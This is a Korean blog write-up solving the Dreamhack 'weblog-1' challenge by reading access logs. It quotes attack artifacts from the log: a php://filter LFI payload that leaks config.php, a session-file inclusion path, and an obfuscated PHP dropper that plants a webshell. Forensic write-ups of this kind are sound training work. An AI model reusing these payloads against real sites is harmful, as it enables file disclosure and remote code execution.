DoChi
Web) log analysis 본문
https://dreamhack.io/wargame/challenges/71/
weblog-1
주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요. Reference Server-side Basic Server-side Advanced - SQL Injection
dreamhack.io
문제정보 : 주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요.
Quiz (Level 0/5)
Q: 공격자에게 탈취된 admin 계정의 PW를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
admin계정의 pw를 찾는 문제이다. 지문에 access로그파일에서
로그파일을 보면 한눈에 알아보기 힘들어서 엑셀에다 옮긴다. 엑셀 > 데이터 > 텍스트나누기 > 구분자로 분리됨 > 공백 을 체크하면
이렇게 깔끔하게 정리된 파일을 볼수있다. 그 다음 404 489 형태가 많기때문에 200,500을 먼저 살펴보았다. 엑셀 > 데이터 > 자동필터 > G > 200,500체크
쭉 보다보면 password대입한 로그 기록을 찾을수 있다. 그중에 500 1192값이 대입에 성공한걸 확인할 수 있다.
그래서 다시 필터에서 500, 1192로 필터링한 값들을 확인한다.
확인후 97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,
117,101,115,116
값들을 얻을수 있다. 아스키코드값 대입을 해서 pw를 찾을수 있다.
admin:Th1s_1s_Adm1n_P@SS,guest:guest
문자열 = username:pw , admin:Th1s_1s_Adm1n_P@SS
그래서 Th1s_1s_Adm1n_P@SS 이게 답이다.
Quiz (Level 1/5)
Q: 공격자가 config.php 코드를 추출하는데 사용한 페이로드를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
다시 access로그에서 config.php를 확인한다.
GET /config.php HTTP/1.1 |
GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1 |
이 두개가 나오는걸 확인할수 있다. 페이로드를 입력하라고 했으니
php://filter/convert.base64-encode/resource=../config.php 이게 답이다.
Quiz (Level 2/5)
Q: LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.
이번 문제는 LFI취약점을 이용하는것이다.
/admin/?page= 로 필터링해서 확인해보니
GET /admin/?page=memo.php HTTP/1.1 |
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1 |
GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1 |
LFI취약점을 통해 memo.php파일을 읽은 후
/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
페이지에 접속한다.
그래서 답은 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
Quiz (Level 3/5)
Q: 생성된 웹쉘의 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1 |
url디코딩을 돌려서 php코드를 얻는다.
디코딩 값을 이쁘게 정리한 후 확인해보니 아래와 같이 값이 이상하게 나오는것을 확인할 수 있다.
코드를 보니 K변수가 date 함수를 이용하여 시간을 이용하여 공격자가 원하는 값으로 변경해주는 것으로 보인다.
그래서
[02/Jun/2020:09:55:16 |
이 값을 date함수 안에 대입시켜보았다.
대입 후 값이 생성된 웹쉘의 경로가 나오는 것을 확인할 수 있었다.
/var/www/html/uploads/images.php
Quiz (Level 4/5)
Q: 생성된 웹쉘을 통해 가장 처음으로 실행된 명령어를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
다시 엑셀 파일에서 images.php?c=로 필터링해서 값을 찾아보니 한개밖에 나오지 않았다.
whoami값을 넣어보니 FLAG값을 얻을 수 있었다.
'보안 > Web' 카테고리의 다른 글
web) 🌱 simple-web-request (0) | 2023.07.04 |
---|---|
web) command_injection_1 (0) | 2022.08.03 |
web) login-1 (0) | 2022.06.10 |